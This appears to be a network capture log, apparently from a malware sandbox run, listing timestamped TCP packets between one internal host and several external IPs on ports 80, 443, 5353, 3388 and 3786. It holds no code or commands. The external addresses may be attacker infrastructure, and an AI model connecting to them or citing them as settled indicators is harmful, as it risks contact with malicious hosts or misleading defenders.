Jan 20, 2021 16:13:27.659537077 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659542084 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659578085 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659589052 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659629107 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659651041 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659677982 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659684896 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659708977 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659710884 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659739017 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659745932 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659765005 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659773111 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659791946 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659802914 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659818888 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659825087 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659853935 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659853935 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659888983 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659897089 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659931898 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659946918 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659975052 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659984112 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660003901 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660007954 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660034895 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660042048 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660060883 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660072088 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660088062 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660094976 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660115004 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660125017 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660140991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660146952 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660171986 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.660182953 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660207987 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.660732031 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661256075 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661298037 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661320925 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661354065 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661361933 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661403894 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661408901 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661417007 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661453962 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661457062 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661489010 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661494970 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661529064 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661542892 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661576986 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661580086 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661608934 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661613941 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661631107 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661649942 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661657095 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661664009 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661689043 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661696911 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661710978 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661720991 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661741972 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661828995 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661878109 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661901951 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661935091 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661936045 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661959887 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661968946 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.661981106 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.661993027 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.662003994 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.662018061 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.662031889 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.663955927 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.665044069 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.714783907 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.714816093 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.714839935 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.714863062 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.714880943 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.714970112 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.717236996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:28.132479906 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.318732977 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.318847895 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.319467068 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.505290031 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.514552116 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.514591932 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.514655113 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.514679909 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.514782906 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.514836073 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.514904022 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.514944077 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.515103102 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.515146017 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.515306950 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.515336990 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.515357018 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.515371084 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.515480995 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.515521049 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.515703917 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.515753031 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.515810013 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.515849113 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.517132044 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.519797087 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.701200008 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.701287031 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.701313972 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.701657057 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.701689005 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.701689005 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.701699972 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.701719999 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.701766014 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.701797962 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.701899052 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.701932907 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.702085018 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.702121019 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.702245951 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.702282906 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.702491045 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.702531099 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.702569008 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.702603102 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.702657938 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.702691078 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.702888966 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.702933073 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.703001976 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.703042984 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.703155041 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.703193903 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.703346968 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.703383923 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.703444958 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.703480959 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.703850985 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.703902006 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.704046965 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.704085112 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.704201937 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.704237938 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.704364061 CET	80	49168	132.148.96.144	192.168.2.22
Jan 20, 2021 16:13:28.704415083 CET	49168	80	192.168.2.22	132.148.96.144
Jan 20, 2021 16:13:28.916649103 CET	80	49166	103.11.153.223	192.168.2.22
Jan 20, 2021 16:13:28.916785955 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:13:30.334788084 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:30.385907888 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:30.386056900 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:30.386687040 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:30.439105988 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:30.439138889 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:30.439189911 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.319897890 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.405452013 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.405591965 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.406274080 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406305075 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406321049 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406338930 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406352043 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.406358957 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406364918 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.406375885 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406383991 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.406397104 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.406420946 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:31.406824112 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:31.406867027 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:32.866364956 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:32.866522074 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:36.412698030 CET	80	49169	85.17.252.207	192.168.2.22
Jan 20, 2021 16:13:36.412800074 CET	49169	80	192.168.2.22	85.17.252.207
Jan 20, 2021 16:13:52.460289001 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:14:22.916981936 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.044637918 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:23.044779062 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.146342993 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.274111032 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:23.274185896 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.307574034 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.435338974 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:23.457039118 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:23.457079887 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:23.457405090 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.467842102 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:23.602885962 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:23.603064060 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.375201941 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.375355959 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.502865076 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:25.502940893 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.543077946 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:25.630376101 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:25.630402088 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:25.885261059 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:25.885301113 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:25.885454893 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.885499001 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.889416933 CET	49171	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:25.927333117 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.016669989 CET	443	49171	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:26.054516077 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:26.054579973 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.078603029 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.131707907 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:26.206665039 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:26.228542089 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:26.228574991 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:26.228621006 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.228647947 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.237206936 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.371432066 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:26.371617079 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:26.421431065 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:26.421598911 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:26.422282934 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:26.714657068 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:26.724709988 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:26.724734068 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:26.724831104 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:26.732018948 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.020361900 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:27.020483017 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:27.023899078 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:27.024010897 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.029047966 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.029150963 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.148134947 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.150429010 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:27.187906027 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.278125048 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.278157949 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.317748070 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:27.318099976 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.357487917 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:27.532567978 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.532602072 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.532736063 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:27.532780886 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:27.536391973 CET	49170	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:27.606882095 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:27.606914997 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:27.663779020 CET	443	49170	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:27.693083048 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.981933117 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:27.982084990 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:27.983267069 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.189264059 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.189300060 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.189454079 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.192397118 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.192708969 CET	49173	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.272133112 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.282260895 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.282288074 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.282372952 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.288505077 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.410551071 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.481728077 CET	5353	49173	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.580225945 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:28.580389977 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.580948114 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.583132029 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.583197117 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.589790106 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.589911938 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.750474930 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:28.757178068 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:28.757214069 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:28.757330894 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.767752886 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.879098892 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.879445076 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:28.918803930 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:28.937338114 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:28.937974930 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:28.938031912 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.947253942 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:28.947397947 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:29.116652012 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.116714001 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.116791010 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:29.116835117 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.118284941 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.168251038 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:29.272536039 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.272605896 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.273102045 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.286528111 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.427361012 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.604003906 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.604043007 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.604156017 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:29.606342077 CET	49175	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:29.759649992 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:29.759735107 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:29.759737968 CET	5353	49174	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:29.759800911 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:29.762101889 CET	49174	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:29.775895119 CET	3388	49175	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:29.782536030 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:29.919565916 CET	49178	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:29.931037903 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.931191921 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.932194948 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.932420015 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.933161974 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.933233976 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.934058905 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.934153080 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.935036898 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.936153889 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.936295033 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.937292099 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.937568903 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.938499928 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.938606024 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.939716101 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.940634012 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.940725088 CET	80	49176	64.37.52.138	192.168.2.22
Jan 20, 2021 16:14:29.942758083 CET	49176	80	192.168.2.22	64.37.52.138
Jan 20, 2021 16:14:29.965490103 CET	3786	49177	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:29.965607882 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:29.966761112 CET	49177	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:30.050533056 CET	5353	49174	211.110.44.63	192.168.2.22
